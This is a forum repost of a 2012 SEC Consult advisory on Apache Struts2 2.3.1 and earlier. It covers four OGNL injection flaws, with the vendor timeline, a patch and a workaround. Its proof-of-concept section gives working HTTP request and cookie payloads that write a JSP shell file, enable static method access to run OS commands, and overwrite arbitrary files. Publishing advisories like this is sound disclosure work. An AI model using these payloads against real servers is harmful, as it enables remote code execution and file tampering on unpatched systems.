io.kent Posted September 11, 2012 Report Posted September 11, 2012 To see all the details about this exploit, please view:r00tsecurity -> Exploit & Advisory Center :: Apache Struts2 <= 2.3.1 Multiple Vulnerabilitiescode[COLOR="#FFF0F5"]SEC Consult Vulnerability Lab Security Advisory < 20120104-0 >======================================================================= title: Multiple critical vulnerabilities in Apache Struts2 product: Apache Struts2 * OpenSymphony XWork * OpenSymphony OGNL vulnerable version: 2.3.1 and below fixed version: 2.3.1.1 impact: critical homepage: http://struts.apache.org/ found: 2011-11-18 by: Johannes Dahse, Andreas Nusser SEC Consult Vulnerability Lab https://www.sec-consult.com=======================================================================Vendor description:-------------------Apache Struts2 is a web framework for creating Java web applications. It isusing the OpenSymphony XWork and OGNL libraries. By default, XWork'sParametersInterceptor treats parameter names provided to actions as OGNLexpressions. A OGNL (Object Graph Navigation Language) expression is a limitedlanguage similar to Java that is tokenized and parsed by the OGNL parser whichinvokes appropiate Java methods. This allows e.g. convenient access toproperties that have a getter/setter method implemented. By providing aparameter like "product.id=1" the OGNL parser will call the appropiate settergetProduct().setId(1) in the current action context. OGNL is also able to callarbitrary methods, constructors and access context variables. For more detailsplease refer to http://commons.apache.org/ognl/language-guide.html.Vulnerability overview/description:-----------------------------------To prevent attackers calling arbitrary methods within parameters the flag"xwork.MethodAccessor.denyMethodExecution" is set to "true" and theSecurityMemberAccess field "allowStaticMethodAccess" is set to "false" bydefault. Also, to prevent access to context variables an improved characterwhitelist for paramteter names is applied in XWork's ParametersInterceptor sinceStruts 2.2.1.1:acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[\\(\\)_'\\s]+";Under certain circumstances these restrictions can be bypassed to executemalicious Java code.1.) Remote command execution in Struts <= 2.2.1.1 (ExceptionDelegator)When an exception occurs while applying parameter values to properties thevalue is evaluated as OGNL expression. For example this occurs when setting astring value to a property with type integer. Since the values are notfiltered an attacker can abuse the power of the OGNL language to executearbitrary Java code leading to remote command execution. This issue has beenreported (https://issues.apache.org/jira/browse/WW-3668) and was fixed inStruts 2.2.3.1. However the ability to execute arbitrary Java code has beenoverlooked.2.) Remote command execution in Struts <= 2.3.1 (CookieInterceptor)The character whitelist for parameter names is not applied to StrutsCookieInterceptor. When Struts is configured to handle cookie names, anattacker can execute arbitrary system commands with static method access toJava functions. Therefore the flag "allowStaticMethodAccess" can be set totrue within the request.3.) Arbitrary File Overwrite in Struts <= 2.3.1 (ParametersInterceptor)Accessing the flag "allowStaticMethodAccess" within parameters is prohibitedsince Struts 2.2.3.1. An attacker can still access public constructors withonly one parameter of type String to create new Java objects and access theirsetters with only one parameter of type String. This can be abused for exampleto create and overwrite arbitrary files. To inject forbidden characters to thefilename an uninitialized string property can be used.4.) Remote command execution in Struts <= 2.3.1 (DebuggingInterceptor)While not being a security vulnerability itself, please note that applicationsrunning in developer mode and using Struts DebuggingInterceptor are prone toremote command execution as well. While applications should never run indeveloper mode during production, developers should be aware that doing so notonly has performance issues (as documented) but also a critical securityimpact.Proof of concept:-----------------1.) Remote command execution in Struts <= 2.2.1.1 (ExceptionDelegator)Given Test.java has an property "id" of type Integer or Long and appropriategetter and setter methods: long id;Given test.jsp with result name=input is configured for action "Test":struts.xml: test.jspThe following request will trigger an exception, the value will be evaluatedas OGNL expression and arbitrary Java code can be executed: /Test.action?id='%2b(new+java.io.BufferedWriter(new+java.io.FileWriter("C:/wwwroot/sec-consult.jsp")).append("jsp+shell").close())%2b'An attacker can also overwrite flags that will allow direct OS command execution: /Test.action?id='%2b(%23_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec('calc'))%2b'If test.jsp displays the property "id" the result of the Java code evaluationcan be accessed: <%@ taglib prefix="s" uri="/struts-tags" %>2.) Remote command execution in Struts <= 2.3.1 (CookieInterceptor)Given struts.xml is configured to handle all cookie names (independent oflimited cookie values): * 1,2The following HTTP header will execute an OS command when sent to Test.action: Cookie: (#_memberAccess["allowStaticMethodAccess"]\u003dtrue)(x)=1; x[@java.lang.Runtime@getRuntime().exec('calc')]=13.) Arbitrary File Overwrite in Struts <= 2.3.1 (ParametersInterceptor)Given Test.java has an uninitialized property "name" of type String: String name; // +getter+setterThe following request will create/overwrite the file "C:/sec-consult.txt"(empty file): /Test.action?name=C:/sec-consult.txt&x[new+java.io.FileWriter(name)]=1The existence of the property 'x' used in these examples is of no importance.4.) Remote command execution in Struts <= 2.3.1 (DebuggingInterceptor)Given struts.xml is configured to run in developer mode and to use thedebugging interceptor:The following request will execute arbitrary OGNL expressions leading to remote command execution: /Test.action?debug=command&expression=%23_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec('calc')Vulnerable / tested versions:-----------------------------All products using Struts2 are affected by at least one critical vulnerabilitylisted above!Proof of Concept 1.) has been tested with Jetty-6.1.25 26 July 2010 and Struts2.2.1.1Proof of Concepts 2.), 3.) and 4.) have been tested with Jetty-6.1.25 26 July 2010and Struts 2.2.1.1, 2.2.3.1 and 2.3.1Vendor contact timeline:------------------------2011-12-14: Contacting vendor through security at struts dot apache dot org2011-12-14: Vendor reply, sending advisory draft2011-12-14: Vendor released Apache Struts 2.3.1 in parallel2011-12-16: Vulnerabilities confirmed in Struts 2.3.1, Vendor contacted2011-12-16: Vendor reply, discussing workaround2011-12-20: Discussing release of fixed version2011-12-21: Providing additional information2012-01-03: Vendor informs that update is ready2012-01-03: Patch (2.3.1.1) is availableSolution:---------Update to Struts 2.3.1.1Workaround:-----------Update to Struts 2.3.1 and apply a stronger acceptedParamNames filter to theParameters- and CookieInterceptor:acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[_']+";Don't run your applications in developer mode.Advisory URL:-------------https://www.sec-consult.com/en/advisories.html~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~SEC Consult Unternehmensberatung GmbHOffice ViennaMooslackengasse 17A-1190 ViennaAustriaTel.: +43 / 1 / 890 30 43 - 0Fax.: +43 / 1 / 890 30 43 - 25Mail: research at sec-consult dot comhttps://www.sec-consult.comEOF J. Dahse, A. Nusser / 2012[/COLOR] Quote